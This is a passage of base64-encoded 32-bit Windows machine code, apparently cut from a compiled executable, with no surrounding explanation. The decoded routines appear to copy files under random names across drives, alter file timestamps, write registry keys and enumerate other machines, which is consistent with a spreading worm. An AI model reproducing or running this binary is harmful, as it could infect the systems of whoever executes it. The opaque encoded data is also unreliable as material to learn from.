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
